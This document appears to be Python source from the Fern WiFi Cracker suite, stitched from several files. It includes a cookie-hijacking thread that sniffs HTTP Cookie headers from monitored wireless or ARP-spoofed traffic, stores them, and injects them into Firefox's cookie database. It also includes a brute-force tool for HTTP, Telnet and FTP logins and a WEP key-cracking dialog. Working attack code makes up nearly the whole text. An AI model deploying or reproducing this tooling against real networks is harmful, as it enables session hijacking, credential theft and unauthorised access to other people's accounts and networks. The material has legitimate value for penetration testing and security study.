self.cookies_captured_label.setText("<font color=green><b>" + str(self.cookie_core.captured_cookie_count) + " Cookies Captured</b></font>")
def prepare_Mozilla_Database(self):
sql_code_a = "select value from cache_settings where setting = 'cookie_path'"
sql_code_c = "insert into cache_settings values (?,?)"
if(self.firefox_is_installed()):
if not self.mozilla_cookie_engine.cookie_database:
database_path = os.getcwd() + "/key-database/Cookie.db"
cookie_db_jar = sqlite3.connect(database_path)
cookie_db_cursor = cookie_db_jar.cursor()
cookie_db_cursor.execute(sql_code_a)
result = cookie_db_cursor.fetchone()
if(result):
self.mozilla_cookie_engine.cookie_database = result[0]
if not os.path.exists(self.mozilla_cookie_engine.cookie_database):
self.emit(QtCore.SIGNAL("creating cache"))
path = self.mozilla_cookie_engine.get_Cookie_Path("cookies.sqlite")
if not path:
error_str = "cookies.sqlite firefox database has not been created on this system, Please run firefox to create it"
self.emit(QtCore.SIGNAL("display_error(QString)"),error_str)
self.emit(QtCore.SIGNAL("Deactivate"))
self.mozilla_cookie_engine.cookie_database = str()
return
cookie_db_cursor.execute("delete from cache_settings where setting = 'cookie_path'")
cookie_db_cursor.execute(sql_code_c ,("cookie_path",path))
cookie_db_jar.commit()
else:
self.emit(QtCore.SIGNAL("creating cache"))
path = self.mozilla_cookie_engine.get_Cookie_Path("cookies.sqlite")
if not path:
error_str = "cookies.sqlite firefox database has not been created on this system, Please run firefox to create it";
self.emit(QtCore.SIGNAL("display_error(QString)"),error_str)
self.emit(QtCore.SIGNAL("Deactivate"))
self.mozilla_cookie_engine.cookie_database = str()
return
cookie_db_cursor.execute(sql_code_c ,("cookie_path",path))
cookie_db_jar.commit()
cookie_db_jar.close()
self.mozilla_cookie_engine.execute_query("delete from moz_cookies")
self.start_Attack()
def deactivate(self):
self.sniff_button_control = "START"
if(self.ethernet_mode_radio.isChecked()):
self.mitm_activated_label.setEnabled(False)
self.mitm_activated_label.setText("Internal MITM Engine Activated")
self.cookie_core.control = False
self.wep_key_edit.setEnabled(True) # Release WEP/WPA Decryption LineEdit
self.channel_combo.setEnabled(True)
self.start_sniffing_button.setText("Start Sniffing")
self.start_sniffing_button.setEnabled(True)
self.ethernet_mode_radio.setEnabled(True)
self.passive_mode_radio.setEnabled(True)
self.cookie_core = Cookie_Hijack_Core()
self.sniffing_status_led.setPixmap(self.red_light)
self.cookie_detection_led.setPixmap(self.red_light)
def creating_cache(self):
self.start_sniffing_button.setEnabled(False)
self.cookies_captured_label.setText("<font color=green>Please wait caching objects...</font>")
# Attack starts here on button click()
def start_Cookie_Attack(self):
channel = str(self.channel_combo.currentText())
if(self.sniff_button_control == "STOP"):
self.stop_Cookie_Attack()
return
self.cookie_core = Cookie_Hijack_Core() # Cookie Capture and processing core
self.sniff_button_control = "STOP"
selected_interface = str(self.combo_interface.currentText())
self.cookies_captured_label.clear()
ip_wep_edit = str(self.wep_key_edit.text())
if(self.passive_mode_radio.isChecked()):
self.set_monitor_mode()
self.cookie_core.decryption_key = ip_wep_edit # Pipes key (WEP) into cookie process API for processing encrypted frames
self.mitm_activated_label.setEnabled(False)
if(channel == self.promiscious_mode):
self.mitm_activated_label.setText("<font color = green><b>Active Frequency: 2.412 GHZ - 2.484 GHZ</b></font>")
else:
channel_info = self.channel_dict[int(channel)]
self.mitm_activated_label.setText("<font color = green><b>Active Frequency: %s</b></font>" % (channel_info))
if(self.ethernet_mode_radio.isChecked()):
if(not re.match("(\d+.){3}\d+",ip_wep_edit)):
QtGui.QMessageBox.warning(self,"Invalid IP Address","Please insert a valid IPv4 Address of the Default Gateway")
self.wep_key_edit.setFocus()
return
self.monitor_interface_led.setPixmap(self.green_light)
os.environ["interface_card"] = selected_interface
os.environ["gateway_ip_address"] = ip_wep_edit # Gateway Address
path = os.getcwd() + "/core/toolbox/MITM_Core.py"
open_file = open(os.devnull,"w")
mitm_control = subprocess.Popen("python " + path,shell = True,stdout = open_file,stderr = open_file)
self.mitm_pid = mitm_control.pid
self.mitm_activated_label.setEnabled(True)
self.mitm_activated_label.setText("<font color = green><b>Internal MITM Engine Activated</b></font>")
self.monitor_interface = selected_interface
try:
database_path = os.getcwd() + "/key-database/Cookie.db"
self.cookie_core.cookie_db_jar = sqlite3.connect(database_path)
self.cookie_core.cookie_db_cursor = self.cookie_core.cookie_db_jar.cursor()
self.cookie_core.create_cookie_cache() # Create Cookie Cache
self.cookie_core.truncate_database() # Delete all old items from database
except Exception,message:
self.display_error("Failed to create cookie database: " + str(message))
return
thread.start_new_thread(self.prepare_Mozilla_Database,()) # Trucates and prepares database
def start_Attack(self):
self.cookies_captured_label.clear()
if not self.firefox_is_installed():
QtGui.QMessageBox.warning(self,"Mozilla Firefox Detection",
"Mozilla firefox is currently not installed on this computer, you need firefox to browse hijacked sessions, Process will capture cookies for manual analysis")
self.treeWidget.clear()
self.wep_key_edit.setEnabled(False) # Lock WEP/WPA LineEdit
self.channel_combo.setEnabled(False)
self.cookie_core.control = True # Start Core Thread processes
self.cookie_core.monitor_interface = self.monitor_interface # Holds the monitor interface e.g mon0,mon1
thread.start_new_thread(self.Led_Blink,()) # Blinks Sniff Led for some number of seconds
self.start_sniffing_button.setEnabled(False)
def start_Cookie_Attack_part(self):
try:
self.connect_objects()
self.cookie_core.start()
self.sniffing_status_led.setPixmap(self.green_light)
self.start_sniffing_button.setEnabled(True)
self.start_sniffing_button.setText("Stop Sniffing")
self.ethernet_mode_radio.setEnabled(False)
self.passive_mode_radio.setEnabled(False)
except Exception,message:
self.display_error(str(message))
self.sniffing_status_led.setPixmap(self.red_light)
self.cookie_detection_led.setPixmap(self.red_light)
self.ethernet_mode_radio.setEnabled(True)
self.passive_mode_radio.setEnabled(True)
def Led_Blink(self):
for count in range(3):
self.emit(QtCore.SIGNAL("on sniff green light"))
time.sleep(1)
self.emit(QtCore.SIGNAL("on sniff red light"))
time.sleep(1)
self.emit(QtCore.SIGNAL("on sniff green light"))
self.emit(QtCore.SIGNAL("Continue Sniffing"))
return
def stop_Cookie_Attack(self):
if(self.ethernet_mode_radio.isChecked()):
self.kill_MITM_process()
self.deactivate()
def kill_MITM_process(self):
os.system("kill " + str(self.mitm_pid))
def clear_items(self):
self.treeWidget.clear()
self.cookies_captured_label.clear()
self.cookie_detection_label.setEnabled(True)
self.sniffing_status_label.setEnabled(True)
self.monitor_interface_label.setEnabled(True)
self.cookie_detection_led.setPixmap(self.red_light)
self.sniffing_status_led.setPixmap(self.red_light)
self.cookies_captured_label.clear()
self.monitor_interface_led.setPixmap(self.red_light)
def closeEvent(self,event):
typedef = type(self.cookie_db_jar).__name__
if(typedef == "Connection"):
self.cookie_db_jar.close() # Close cookie database connection
if(self.sniff_button_control == "STOP"):
self.kill_MITM_process()
self.cookie_core.terminate() # Kill QtCore.QThread
| Python |
__all__ = ['tracker_core','fern_tracker','fern_cookie_hijacker','cookie_hijacker_core','mozilla_cookie_core','MITM_Core','fern_ray_fusion','bruteforce_core'] | Python |
#-------------------------------------------------------------------------------
# Name: Fern_Cookie_Hijacker
# Purpose: Captures http cookies from wireless networks
#
# Author: Saviour Emmanuel Ekiko
#
# Created: 14/06/2012
# Copyright: (c) Fern Wifi Cracker 2012
# Licence: <GNU GPL v3>
#
#
#-------------------------------------------------------------------------------
# GNU GPL v3 Licence Summary:
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import os
import time
import thread
import sqlite3
import logging
import threading
from PyQt4 import QtCore
from scapy.all import *
class Cookie_Hijack_Core(QtCore.QThread):
def __init__(self):
QtCore.QThread.__init__(self)
self.control = True # Starts or Stop Thread processes [True = Start,False = Stop]
self.maximum_threads = 15 # Thread control -> Issue 30 (http://code.google.com/p/fern-wifi-cracker/issues/detail?id=30)
self.monitor_interface = str() # Interface to process 802.11 based packets e.g mon0
self.decryption_key = str() # Key to decrypt encrypted packets, if exists
self.cookie_db_jar = object # SQlite database for holding captured cookies
self.cookie_db_cursor = object # Cursor Object
self.captured_cookie_count = 0 # Holds number of captured cookies
self.semaphore = threading.BoundedSemaphore(self.maximum_threads) # Thread control -> Issue 30 (http://code.google.com/p/fern-wifi-cracker/issues/detail?id=30)
def __del__(self):
typedef = type(self.cookie_db_jar).__name__
if(typedef == "Connection"):
self.cookie_db_jar.close()
def truncate_database(self): # Deltes all previous cookie entires from database
sql_code = "delete from cookie_cache"
self.cookie_db_cursor.execute(sql_code)
self.cookie_db_jar.commit()
def create_cookie_cache(self): # Creates table cookie_cache for logging captured cookies
sql_code_a = '''create table if not exists cookie_cache
(source TEXT,Referer TEXT,Web_Address TEXT,
Host TEXT,Name TEXT,Value TEXT,
Dot_Host Text,Path TEXT,
IsSecured INTEGER,IsHttpOnly INTEGER
)'''
sql_code_b = '''create table if not exists cache_settings
(setting TEXT,value TEXT)'''
self.cookie_db_cursor.execute(sql_code_a)
self.cookie_db_cursor.execute(sql_code_b)
self.cookie_db_jar.commit()
def insert_cache_settings(self,setting,value):
sql_code = "insert into cache_settings values (?,?)"
self.cookie_db_cursor.execute(sql_code ,(setting,value))
self.cookie_db_jar.commit()
# Mozilla Cookie entry format
#
# ('14', 'scorecardresearch.com', 'UID', '2baec64d-23.63.99.90-1342553308', '.scorecardresearch.com', '/', '1404761306', '1342815702910000', '1342553306190000', '0', '0')
# (id_number,baseDomain,name,value,host,path,expiry,lastAccessed,creationTime,isSecure,isHttpOnly)
#
def insert_Cookie_values(self,source,referer,web_address,host,name,value,dot_host,path,isSecure,isHttpOnly):
sql_code_a = "select Value from cookie_cache where (source = ? and Web_Address = ? and Name = ?)"
sql_code_b = "update cookie_cache set Value = ? where (Name = ? and source = ? and Web_Address = ?)"
sql_code_c = "insert into cookie_cache values (?,?,?,?,?,?,?,?,?,?);"
if(referer == str()):
referer = "http://" + web_address
if(referer.startswith("https://")):
isSecure = "1"
else:
isSecure = "0"
database_path = os.getcwd() + "/key-database/Cookie.db"
cookie_db_jar = sqlite3.connect(database_path)
cookie_db_cursor = cookie_db_jar.cursor()
cookie_db_cursor.execute(sql_code_a ,(source,web_address,name))
db_value = cookie_db_cursor.fetchone()
if(db_value):
if(db_value[0] != value):
cookie_db_cursor.execute(sql_code_b ,(value,name,source,web_address))
cookie_db_jar.commit()
cookie_db_jar.close()
return
cookie_db_cursor.execute(sql_code_c,(source,referer,web_address,host,name,value,dot_host,path,isSecure,isHttpOnly))
cookie_db_jar.commit()
cookie_db_jar.close()
def domain_process(self,domain): # www.google.com --> .google.com | us.atlanta.google.co.uk --> .google.co.uk
domain_string = str()
process = []
if(domain.startswith("ad.")):
domain_string = domain
return(domain)
seg_domain = domain.split(".")
seg_domain.reverse()
for segment in seg_domain:
if(len(segment) <= 3):
process.append(segment)
process.append(".")
else:
process.append(segment)
process.append(".")
break
process.reverse()
for segment in process:
domain_string += segment
return(domain_string)
def calculate_expiration_time(self):
return
def Process_Packet(self,captured_packet):
self.semaphore.acquire() # Thread control -> Issue 30 (http://code.google.com/p/fern-wifi-cracker/issues/detail?id=30)
try:
path = r"/"
expires = ""
domain = str()
web_address = str()
refer_address = str()
is_secure = str()
src_addr = captured_packet.getlayer("IP").src # Source Mac address
if(self.control):
self.emit(QtCore.SIGNAL("cookie buffer detected"))
if("Cookie:" in captured_packet.load):
if("Host:" in captured_packet.load):
http_packets = captured_packet.load.split("\n")
for entries in http_packets:
if(re.match("Referer",entries,re.IGNORECASE)):
process = entries.strip()
refer_address = process.split(":",1)[1]
if(refer_address.startswith("https://")):
is_secure = "1"
else:
is_secure = "0"
if(re.match("Host",entries,re.IGNORECASE)):
process = entries.strip()
web_address = process.split(":",1)[1]
domain = self.domain_process(web_address) # www.google.com --> .google.com
if(re.match("Cookie",entries,re.IGNORECASE)):
process = entries.strip()
cookie_collection = process.split(":",1)[1] # "c_user=UYt6t6rTRf455ddt5; ID=8776765; env-tye=8927GTFYfYT;"
cookie_process = cookie_collection.split(";")
for cookie_and_value in cookie_process:
if(cookie_and_value):
cookie_process_a = cookie_and_value.strip()
if("=" in cookie_process_a):
name,value = cookie_process_a.split("=",1)
# source,referer,web_address,host,name,value,dot_host,path,isSecure,isHttpOnly
self.insert_Cookie_values(src_addr,refer_address,web_address,domain[1:],name,value,domain,path,is_secure,"0")
self.captured_cookie_count += 1
if(self.control):
self.emit(QtCore.SIGNAL("New Cookie Captured")) # Notification Signal for GUI instance
except AttributeError,message:
pass
finally:
self.semaphore.release() # Thread control -> Issue 30 (http://code.google.com/p/fern-wifi-cracker/issues/detail?id=30)
def Cookie_Capture(self):
sniff(filter = "tcp and port http or https",iface = self.monitor_interface,prn = self.Process_Packet,store = 0) # Thread worker speeds up packet processing
def run(self):
conf.wepkey = self.decryption_key
self.Cookie_Capture()
| Python |
import re
import string
import webbrowser
from PyQt4 import QtCore,QtGui
from gui.ray_fusion import *
from core.variables import *
from bruteforce_core import *
tutorial_link = "http://www.youtube.com/watch?v=_ztQQWMoVX4" # Video Tutorial link
class Ray_Fusion(QtGui.QDialog,Ui_ray_fusion):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.custom_user_wordlist = str() # Path to the custom user wordlist
self.custom_password_wordlist = str() # Path to the custom password wordlist
self.start_flag = True # If False then Stop
self.table_index = 0
self.bruteforce_core = Bruteforce_Attack() # Bruteforce Attack Class
self.http_https_pixmap = QtGui.QPixmap("%s/resources/Page-World.ico" % (os.getcwd()))
self.telnet_pixmap = QtGui.QPixmap("%s/resources/Application-Osx-Terminal.ico" % (os.getcwd()))
self.ftp_pixmap = QtGui.QPixmap("%s/resources/Ftp.ico" % (os.getcwd()))
self.red_led = QtGui.QPixmap("%s/resources/red_led.png" % (os.getcwd()))
self.green_led = QtGui.QPixmap("%s/resources/green_led.png" % (os.getcwd()))
self.connect(self.http_https_radio,QtCore.SIGNAL("clicked()"),self.HTTP_HTTPS_Mode)
self.connect(self.telnet_radio,QtCore.SIGNAL("clicked()"),self.TELNET_Mode)
self.connect(self.ftp_radio,QtCore.SIGNAL("clicked()"),self.FTP_Mode)
self.connect(self.default_wordlist_radio,QtCore.SIGNAL("clicked()"),self.select_Wordlist_type)
self.connect(self.custom_wordlist_radio,QtCore.SIGNAL("clicked()"),self.select_Wordlist_type)
self.connect(self.settings_button,QtCore.SIGNAL("clicked()"),self.show_hide_settings)
self.connect(self.help_button,QtCore.SIGNAL("clicked()"),self.show_help)
self.connect(self.launch_bruteforce,QtCore.SIGNAL("clicked()"),self.Start_Attack)
self.connect(self.save_credentials,QtCore.SIGNAL("clicked()"),self.save_bruteforced_credentials)
self.connect(self.clear_credentials,QtCore.SIGNAL("clicked()"),self.clear_bruteforced_credentials)
self.connect(self.userlist_button,QtCore.SIGNAL("clicked()"),self.select_custom_user_wordlist)
self.connect(self.passwordlist_button,QtCore.SIGNAL("clicked()"),self.select_custom_password_wordlist)
self.connect(self.bruteforce_core,QtCore.SIGNAL("Next Try"),self.display_progress)
self.connect(self.bruteforce_core,QtCore.SIGNAL("We Got Error"),self.display_error_message)
self.connect(self.bruteforce_core,QtCore.SIGNAL("successful_login(QString,QString)"),self.show_credentials)
self.connect(self.bruteforce_core,QtCore.SIGNAL("Finished bruteforce"),self.Stop_Notification)
self.reset_objects()
self.set_Window_Max()
self.HTTP_HTTPS_Mode()
self.custom_wordlist_groupbox.setVisible(False)
def reset_objects(self):
self.credential_table.clear()
self.save_credentials.setEnabled(False)
self.clear_credentials.setEnabled(False)
self.statistics_username.setText("Username: ")
self.statistics_password.setText("Password: ")
self.statistics_percentage.setText("0% Complete")
def set_Window_Max(self):
try:
self.setWindowFlags(
QtCore.Qt.WindowMinMaxButtonsHint |
QtCore.Qt.WindowCloseButtonHint |
QtCore.Qt.Dialog)
except:pass
def show_help(self):
QtGui.QMessageBox.about(self,"About Fern - Ray Fusion","Fern - Ray Fusion is a bruteforce attack tool used to audit the list of supported network services and returns login credentials of the target service when successful.")
answer = QtGui.QMessageBox.question(self,"Tutorial","Would you like to view a video tutorial on how to use the tool?",QtGui.QMessageBox.Yes | QtGui.QMessageBox.No)
if(answer == QtGui.QMessageBox.Yes):
webbrowser.open_new_tab(tutorial_link)
def HTTP_HTTPS_Mode(self):
self.port_edit.setVisible(False)
self.label.setPixmap(self.http_https_pixmap)
self.target_edit.clear()
self.target_edit.setFocus()
def TELNET_Mode(self):
self.port_edit.setVisible(True)
self.port_edit.setText("23")
self.label.setPixmap(self.telnet_pixmap)
self.target_edit.clear()
self.target_edit.setFocus()
def FTP_Mode(self):
self.port_edit.setVisible(True)
self.port_edit.setText("21")
self.label.setPixmap(self.ftp_pixmap)
self.target_edit.clear()
self.target_edit.setFocus()
def select_Wordlist_type(self):
if(self.default_wordlist_radio.isChecked()):
self.custom_wordlist_groupbox.setVisible(False)
return
self.custom_wordlist_groupbox.setVisible(True)
def show_hide_settings(self):
if(self.settings_groupbox.isVisible()):
self.settings_button.setText("Show Settings")
self.settings_groupbox.setVisible(False)
self.custom_wordlist_groupbox.setVisible(False)
return
self.settings_button.setText("Hide Settings")
self.settings_groupbox.setVisible(True)
self.select_Wordlist_type()
def select_custom_user_wordlist(self):
self.custom_user_wordlist = str()
path = QtGui.QFileDialog.getOpenFileName(self,"Select User Wordlist",str())
if(path):
self.custom_user_wordlist = path
self.user_wordlist_led.setPixmap(self.green_led)
return
self.custom_user_wordlist = str()
self.user_wordlist_led.setPixmap(self.red_led)
def select_custom_password_wordlist(self):
self.custom_password_wordlist = str()
path = QtGui.QFileDialog.getOpenFileName(self,"Select Password Wordlist",str())
if(path):
self.custom_password_wordlist = path
self.password_wordlist_led.setPixmap(self.green_led)
return
self.custom_password_wordlist= str()
self.password_wordlist_led.setPixmap(self.red_led)
def display_progress(self):
statistics = self.bruteforce_core.next_try_details # [23%,"username","password"]
self.statistics_percentage.setText("<font color=green><b>" + statistics[0] + " Complete</b></font>")
if(len(statistics[1]) > 7):
self.statistics_username.setText("Username: <font color=green>" + statistics[1][0:7] + "...</font>")
else:
self.statistics_username.setText("Username: <font color=green>" + statistics[1] + "</font>")
if(len(statistics[2]) > 7):
self.statistics_password.setText("Password: <font color=green>" + statistics[2][0:7] + "...</font>")
else:
self.statistics_password.setText("Password: <font color=green>" + statistics[2] + "</font>")
def clear_table(self):
self.table_index = 0
row_number = self.credential_table.rowCount()
column_number = self.credential_table.columnCount()
for row in xrange(row_number):
self.credential_table.removeRow(0)
for column in xrange(column_number):
self.credential_table.removeColumn(0)
self.save_credentials.setEnabled(False)
self.clear_credentials.setEnabled(False)
def display_table_header(self):
self.clear_table()
column_headers = ("Username","Password")
for column,header in enumerate(column_headers):
self.credential_table.insertColumn(column)
column_header = QtGui.QTableWidgetItem()
self.credential_table.setHorizontalHeaderItem(column,column_header)
self.credential_table.horizontalHeaderItem(column).setText(header + ' '* 5)
self.credential_table.resizeColumnsToContents()
def show_credentials(self,username,password):
if(not self.credential_table.columnCount()):
self.display_table_header()
self.credential_table.insertRow(self.table_index)
item = QtGui.QTableWidgetItem()
self.credential_table.setItem(self.table_index,0,item)
item.setText(str(username) + ' ' * 5)
item = QtGui.QTableWidgetItem()
self.credential_table.setItem(self.table_index,1,item)
item.setText(str(password) + ' ' * 5)
self.save_credentials.setEnabled(True)
self.clear_credentials.setEnabled(True)
self.credential_table.resizeColumnsToContents()
self.table_index += 1
def display_error_message(self):
QtGui.QMessageBox.warning(self,"Message",self.bruteforce_core.get_exception())
self.bruteforce_core.stop_Attack()
self.launch_bruteforce.setText("Start")
self.bruteforce_core.terminate()
self.bruteforce_core.control = False
self.start_flag = True
self.enable_controls(True)
def enable_controls(self,status):
self.groupBox.setEnabled(status)
self.settings_groupbox.setEnabled(status)
self.custom_wordlist_groupbox.setEnabled(status)
def save_bruteforced_credentials(self):
target_address = str(self.target_edit.text())
target_port = str(self.port_edit.text())
target_service = str()
if(self.http_https_radio.isChecked()):
target_service = "HTTP/HTTPS (Basic Authentication)"
target_port = str()
if(self.telnet_radio.isChecked()):
target_service = "TELNET"
if(self.ftp_radio.isChecked()):
target_service = "FTP (File Transfer Protocol)"
file_path = QtGui.QFileDialog.getSaveFileName(self,"Save Credentials","report.html")
if(file_path):
rows = self.credential_table.rowCount()
columns = self.credential_table.columnCount()
file_object = open(file_path,"w")
html_header = ray_fusion_reports_html % (target_address,target_port,target_service)
file_object.write(html_header)
for row in xrange(rows):
file_object.write("<tr>")
for column in xrange(columns):
item = self.credential_table.item(row,column)
file_object.write('<td>' + str(item.text()) + '</td>')
file_object.write("</tr>")
file_object.write('</table></body></html>')
file_object.flush()
file_object.close()
QtGui.QMessageBox.information(self,"Reports","Successfully saved reports to " + file_path)
def clear_bruteforced_credentials(self):
choice = QtGui.QMessageBox.question(self,"Clear Credentials","Are you sure you want to clear all bruteforced results?",QtGui.QMessageBox.Yes | QtGui.QMessageBox.No)
if(choice == QtGui.QMessageBox.Yes):
self.clear_table()
self.save_credentials.setEnabled(False)
self.clear_credentials.setEnabled(False)
def Stop_Notification(self):
self.enable_controls(True)
self.launch_bruteforce.setText("Start")
self.bruteforce_core.stop_Attack()
self.start_flag = True
def Start_Attack(self):
self.target_address = str(self.target_edit.text())
self.target_port = str(self.port_edit.text())
self.time_interval = int(self.time_interval_spinbox.value())
if(not bool(self.target_address)):
QtGui.QMessageBox.warning(self,"Target Address","Please input a valid target adddress")
self.target_edit.setFocus()
return
if(self.http_https_radio.isChecked()):
self.bruteforce_core.set_attack_type("HTTP")
valid_http = re.compile("^(https|http)://\S*",re.IGNORECASE) # HTTP/HTTPS url regular expression
if not valid_http.match(self.target_address):
QtGui.QMessageBox.warning(self,"Invalid HTTP Address","The HTTP(HyperText Transfer Protocol) address should be fully qualified:\n\nExample:\nhttp://10.18.122.15\nhttps://www.foobar.com\nhttp://www.foobar.com/sports/index.html")
return
if(self.telnet_radio.isChecked()):
self.bruteforce_core.set_attack_type("TELNET")
if not self.target_port.isdigit(): # Check if use inputed a valid TCP port number
QtGui.QMessageBox.warning(self,"Invalid Port Number","Remote Telnet Server port must be digits")
return
if(self.start_flag == True):
QtGui.QMessageBox.warning(self,"Telnet Protocol","Please note that the Telnet protocol is very unreliable with its connection status responces, therefore the bruteforce attack on telnet might return false results as positive")
if(self.ftp_radio.isChecked()):
self.bruteforce_core.set_attack_type("FTP")
if not self.target_port.isdigit():
QtGui.QMessageBox.warning(self,"Invalid Port Number","Remote FTP Server port must be digits")
return
if(self.default_wordlist_radio.isChecked()):
self.default_wordlist = "%s/extras/wordlists/common.txt"%(os.getcwd()) # Default Wordlist Path
self.bruteforce_core.user_wordlist = self.default_wordlist
self.bruteforce_core.password_wordlist = self.default_wordlist
if(self.custom_wordlist_radio.isChecked()):
if(not bool(self.custom_user_wordlist)): # Check if custom user list has been set
QtGui.QMessageBox.warning(self,"Wordlist","Custom user wordlist has not been set, Please browse and select a user wordlist file of your choice")
return
if(not bool(self.custom_password_wordlist)): # Check if custom password list has been set
QtGui.QMessageBox.warning(self,"Wordlist","Custom password wordlist has not been set, Please browse and select a password wordlist file of your choice")
return
self.bruteforce_core.user_wordlist = self.custom_user_wordlist
self.bruteforce_core.password_wordlist = self.custom_password_wordlist
self.bruteforce_core.empty_username = bool(self.blank_username_checkbox.isChecked())
self.bruteforce_core.empty_password = bool(self.blank_password_checkbox.isChecked())
self.bruteforce_core.setTimer(self.time_interval) # Set time in seconds
self.bruteforce_core.set_target_address(self.target_address,self.target_port) #
if(self.start_flag == True):
self.reset_objects()
self.clear_table()
self.enable_controls(False)
self.launch_bruteforce.setText("Stop")
self.start_flag = False
self.bruteforce_core.start()
else:
self.enable_controls(True)
self.launch_bruteforce.setText("Start")
self.bruteforce_core.stop_Attack()
self.start_flag = True
| Python |
from core.fern import *
from core.tools import*
from core.functions import *
from core.settings import *
from core.variables import *
from gui.attack_panel import *
from core import variables
#
# Wep Attack window class for decrypting wep keys
#
class wep_attack_dialog(QtGui.QDialog,Ui_attack_panel):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.setWindowModality(QtCore.Qt.ApplicationModal)
self.button_control = True
self.WEP = str()
self.ivs_number = 0
self.digit = 0
self.ivs_value = 0
############## ATACK PANEL METHODS #####################
self.access_points = set()
self.mac_address = str()
self.index = 0
self.isfinished = False
self.control = True
self.cracked_keys = 0
self.thread_control = True
self.settings = Fern_settings() # For saving settings
self.wps_update_timer = QtCore.QTimer(self)
self.connect(self.wps_update_timer,QtCore.SIGNAL("timeout()"),self.set_if_WPS_Support)
self.wps_update_timer.start(1000)
self.wifi_icon = QtGui.QPixmap("%s/resources/radio-wireless-signal-icone-5919-96.png"%os.getcwd())
self.connect(self,QtCore.SIGNAL("new access point detected"),self.display_new_access_point)
self.connect(self.general_group_box,QtCore.SIGNAL("DoubleClicked()"),self.mouseDoubleClickEvent)
self.connect(self.ap_listwidget,QtCore.SIGNAL("itemSelectionChanged()"),self.display_selected_target)
self.connect(self.attack_button,QtCore.SIGNAL("clicked()"),self.launch_attack)
self.connect(self.wps_attack_radio,QtCore.SIGNAL("clicked()"),self.check_reaver_status)
self.connect(self,QtCore.SIGNAL("display stop icon"),self.display_stop_icon)
self.connect(self,QtCore.SIGNAL("start automated attack"),self.wep_launch_attack)
self.connect(self,QtCore.SIGNAL("change tree item"),self.change_treeItem)
############## ATACK PANEL METHODS #####################
self.connect(self,QtCore.SIGNAL("injection_working"),self.injection_working)
self.connect(self,QtCore.SIGNAL("injection_not_working"),self.injection_not_working)
self.connect(self,QtCore.SIGNAL("associating"),self.associating)
self.connect(self,QtCore.SIGNAL("update_progress_bar"),self.update_bar)
self.connect(self,QtCore.SIGNAL("progress maximum"),self.progress_maximum)
self.connect(self,QtCore.SIGNAL("injecting"),self.injecting)
self.connect(self,QtCore.SIGNAL("gathering"),self.gathering)
self.connect(self,QtCore.SIGNAL("chop-chop injecting"),self.chop_chop_attack)
self.connect(self,QtCore.SIGNAL("fragment injecting"),self.fragmented_attack)
self.connect(self,QtCore.SIGNAL("hirte injecting"),self.hirte_attack)
self.connect(self,QtCore.SIGNAL("caffe latte injecting"),self.caffe_latte_attack)
self.connect(self,QtCore.SIGNAL("P0841 injecting"),self.P0841_attack)
self.connect(self,QtCore.SIGNAL("key not found yet"),self.key_not_found_yet)
self.connect(self,QtCore.SIGNAL("wep found"),self.key_found)
self.connect(self,QtCore.SIGNAL("cracking"),self.cracking)
self.connect(self,QtCore.SIGNAL('passive mode'),self.passive_mode)
self.connect(self,QtCore.SIGNAL('association failed'),self.association_failed)
# wep_details = {'Elite': ['00:C0:CA:8B:15:62', '1', '54', '10']}
access_point = sorted(wep_details.keys())[0] # The first key in dictionary
variables.victim_mac = wep_details[access_point][0]
variables.victim_channel = wep_details[access_point][1]
variables.victim_access_point = access_point
self.essid_label.setText('<font color=red>%s</font>'%(access_point)) # Access point name
self.bssid_label.setText('<font color=red>%s</font>'%(wep_details[access_point][0])) # Mac address
self.channel_label.setText('<font color=red>%s</font>'%(wep_details[access_point][1])) # Channel
self.power_label.setText('<font color=red>%s</font>'%(wep_details[access_point][3])) # Power
self.encrypt_wep_label.setText('<font color=red>WEP</font>')
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder)
self.set_if_WPS_Support()
cracked_key = get_key_from_database(variables.victim_mac,"WEP")
if(cracked_key):
self.key_label.setVisible(True)
self.key_label.setText('<font color=red>WEP KEY: %s</font>'%(cracked_key))
else:
self.key_label.setVisible(False)
attack_type = ['ARP Request Replay','Chop-Chop Attack','Fragmentation Attack','Hirte Attack','Caffe Latte Attack','P0841']
self.attack_type_combo.addItems(attack_type)
self.keys_cracked_label.setVisible(False)
self.setStyleSheet('background-image: url("%s/resources/binary_2.png");color:rgb(172,172,172);'%(os.getcwd()))
self.attack_type_combo.setStyleSheet('color: rgb(172,172,172);background-color: black;font: %spt;'%(font_size()))
############## ATACK PANEL METHODS #####################
self.wep_disable_items()
self.ap_listwidget.clear()
thread.start_new_thread(self.Check_New_Access_Point,())
self.set_Key_Clipbord()
############## CLIPBOARD AND CONTEXT METHODS #####################
def set_Key_Clipbord(self):
self.convert_flag = False
self.conversion_type = "WEP"
self.clipboard_key = str()
self.original_key = str()
self.clipbord = QtGui.QApplication.clipboard()
self.key_label.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
self.wps_pin_label.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
self.connect(self.key_label,QtCore.SIGNAL("customContextMenuRequested(QPoint)"),self.show_key_menu)
self.connect(self.wps_pin_label,QtCore.SIGNAL("customContextMenuRequested(QPoint)"),self.show_wps_key_menu)
def Convert_Key_to_Acsii(self):
key_string = str(self.key_label.text())
if not self.original_key:
self.original_key = key_string
actual_key = re.findall("WEP KEY: ([\S \w]+)</font>",key_string)
if(actual_key):
key = actual_key[0]
converted_key = key.decode("hex")
self.clipboard_key = converted_key
self.key_label.setText("<font color=red>ASCII KEY: %s</font>" % (converted_key))
self.convert_flag = True
def Convert_to_Hex(self):
self.key_label.setText(self.original_key)
actual_key = re.findall("WEP KEY: ([\S \w]+)</font>",self.original_key)
self.clipboard_key = actual_key[0]
self.convert_flag = False
def Copy_Key(self,key_type):
key = str()
key_string = str()
if(key_type == "WPS PIN"):
key_string = self.wps_pin_label.text()
actual_key = re.findall("WPS PIN: ([\S \w]+)</font>",key_string)
if(actual_key):
self.clipboard_key = actual_key[0]
self.clipbord.setText(self.clipboard_key)
def show_key_menu(self,pos):
